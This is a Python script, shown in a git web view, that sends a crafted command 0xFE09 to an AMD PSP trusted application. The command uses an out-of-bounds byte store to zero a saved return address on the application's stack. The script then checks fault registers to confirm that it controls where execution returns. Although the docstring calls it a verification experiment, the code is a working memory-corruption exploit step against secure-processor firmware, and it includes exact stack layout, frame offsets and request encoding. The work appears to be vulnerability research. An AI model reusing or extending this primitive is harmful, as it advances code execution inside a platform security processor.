aboutsummaryrefslogtreecommitdiffstats
path: root/hw/gcp_fe09_saved_lr.py
blob: 0c91a43c94f510ccc5912ee24171ec09b29e3600 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python3
"""Zero a saved RETURN ADDRESS on GCP's stack and look for a distinct fault signature.

This is a verification experiment for the emulator-derived stack math, not an exploit.

Build: GCP 22.0.4.50 (the 4x STRB variant of the ConfigureInitialize store).
  store: ADD.W R1,R6,#0x418 ; ADD.W R0,R1,R9 ; STRB [P+0],[P+3],[P+2],[P+1]  (R7 = 0)
  so P = params_VA + 0x418 + D, byte-granular and unaligned-capable.

Layout (rule derived from the sOS loader, validated 3/3 on hdcp/ras/dtm, then confirmed for THIS
build by staging its real container into the emulated firmware loader -- measured SP = 0x419000):
  code  [0x400000,0x407000) R-X
  data  [0x407000,0x414000) RW
  guard  0x414000
  STACK [0x415000,0x419000) RW, SP0 = 0x419000
  heap  [0x41a000,0x41e000)

Live frames during the store (gate 0x404f20 POPs then B.W -> tail call, frame dead):
  gcp_dispatch 0x403fc8  PUSH {R4,R5,R6,LR}      LR @ 0x418ffc  (main-loop return)
  dispatcher   0x402988  PUSH.W {R3-R11,LR}      LR @ 0x418fec  = 0x404053
  handler      0x402D28  PUSH.W {R3-R11,LR}      LR @ 0x418fc4  = 0x402a3b   <-- TARGET
  SP at the store = 0x418fa0

Experiment: aim the 4-byte window at P = Q = 0x418fc4, zeroing exactly the handler's saved LR
(and nothing else -- the next slot up, 0x418fc8, is the dispatcher's R3). The handler then runs to
completion and does POP {R3-R11,PC} with PC = 0. Bit0 = 0 so the CPU enters ARM state at VA 0,
which is mapped R-X PRIVILEGED-ONLY (user ---), so a user-mode fetch there must abort.

Three distinguishable outcomes, which is the point:
  * FAULT with PC/addr == 0 (or an instruction-fetch abort)  -> the store LANDED on the saved LR
    and we redirected the return. Confirms stack VA + frame arithmetic + control over a return
    address. THE EXPECTED RESULT.
  * FAULT at one of the STRBs (PC in 0x402df0..0x402e10)     -> the target was not writable;
    stack VA math wrong.
  * no fault, status 0                                       -> the store landed somewhere inert;
    math wrong in a different way (wrong slot).
A positive control runs first (store into the buffer) to prove the request shape reaches the
store and the ring is healthy, so a later fault is attributable.
"""
import struct, sys
sys.path.insert(0, '/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp

PARAMS_VA = 0x04013000
BASE = PARAMS_VA + 0x418
SP0 = 0x419000
HANDLER_LR_SLOT = 0x418fc4          # handler 0x402D28 saved LR (value 0x402a3b)
STORE_LO, STORE_HI = 0x402df0, 0x402e10
TA = 'ta_22-0-4-50_81b082b4'
BUFLEN = 0x8000                      # >= 0x2958 gate

def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF
def frame(): return tuple(c2p(n) for n in range(82, 89))
def wide(): return {n: c2p(n) for n in range(78, 96)}

def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)

app_pa, app_mc = alloc(0x80000)
import glob
cand = glob.glob('/root/psp/contall/%s*' % TA)
if not cand:
    raise SystemExit('TA image %s not found' % TA)
blob = open(cand[0], 'rb').read()
cp, cmc = alloc(BUFLEN)

def load():
    n = (len(blob) + 3) & ~3
    adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
    t.app_len = len(blob)
    t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32
    t.cmd_buf_len = BUFLEN
    try:
        r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id
    except Exception as e:
        return -1, None

def fe09(sid, disp):
    buf = bytearray(b'\x00' * BUFLEN)
    struct.pack_into('<I', buf, 0x000, 0xFE09)
    struct.pack_into('<I', buf, 0x010, 0)                  # >>28 == 0
    for off in (0x414, 0x818):
        struct.pack_into('<I', buf, off, 0xFFFFFFFB)       # permissive limits
    struct.pack_into('<I', buf, 0x820, 1)                  # selector
    struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)  # displacement -> R9
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, 0xFE09
    try:
        return psp._ring_submit(c).resp.status & 0xFFFFFFFF
    except Exception:
        return -1

f0 = frame()
st, sid = load()
print('TA=%s load=%#x sid=%s BUFLEN=%#x' % (TA, st, sid, BUFLEN), flush=True)
print('baseline fault frame: %s' % [hex(x) for x in f0], flush=True)
if sid is None:
    raise SystemExit('load failed')

def shot(name, P, expect):
    D = (P - BASE) & 0xFFFFFFFF
    st2 = fe09(sid, D)
    fr = frame()
    faulted = (st2 == -1) or (fr != f0)
    print('\n--- %s' % name, flush=True)
    print('    P=%#x  D=%#010x  status=%s  expect: %s'
          % (P, D, ('FAULT' if st2 == -1 else hex(st2)), expect), flush=True)
    if not faulted:
        print('    NO FAULT, ring alive -> store landed on something inert', flush=True)
        return False
    pc, dfsr, fa = fr[2], fr[3], fr[4]
    print('    FAULT  pc=%#x  w3=%#x  addr=%#x' % (pc, dfsr, fa), flush=True)
    if STORE_LO <= pc <= STORE_HI:
        print('    => fault AT THE STRB: target not writable (stack math WRONG)', flush=True)
    elif pc == 0 or fa == 0:
        print('    => *** PC/addr ZERO: returned to 0 -- saved LR was overwritten.', flush=True)
        print('           stack VA + frame arithmetic CONFIRMED ***', flush=True)
    else:
        print('    => different fault signature (pc not a store, not 0) -- inspect', flush=True)
    print('    wide: %s' % {k: hex(v) for k, v in wide().items()}, flush=True)
    return True

# 1) positive control: store INTO the buffer. must land, ring stays healthy.
if shot('CONTROL: store into the buffer (params+0x200)', PARAMS_VA + 0x200,
        'no fault, status 0'):
    raise SystemExit('control faulted -- request shape or buffer wrong; abort')

# 2) the real shot: zero the handler's saved LR
shot('SHOT: zero handler saved LR @ 0x418fc4 (was 0x402a3b)', HANDLER_LR_SLOT,
     'fault with PC/addr == 0 (returned to 0)')
print('\nring: %s' % ('WEDGED' if frame() != f0 else 'alive'), flush=True)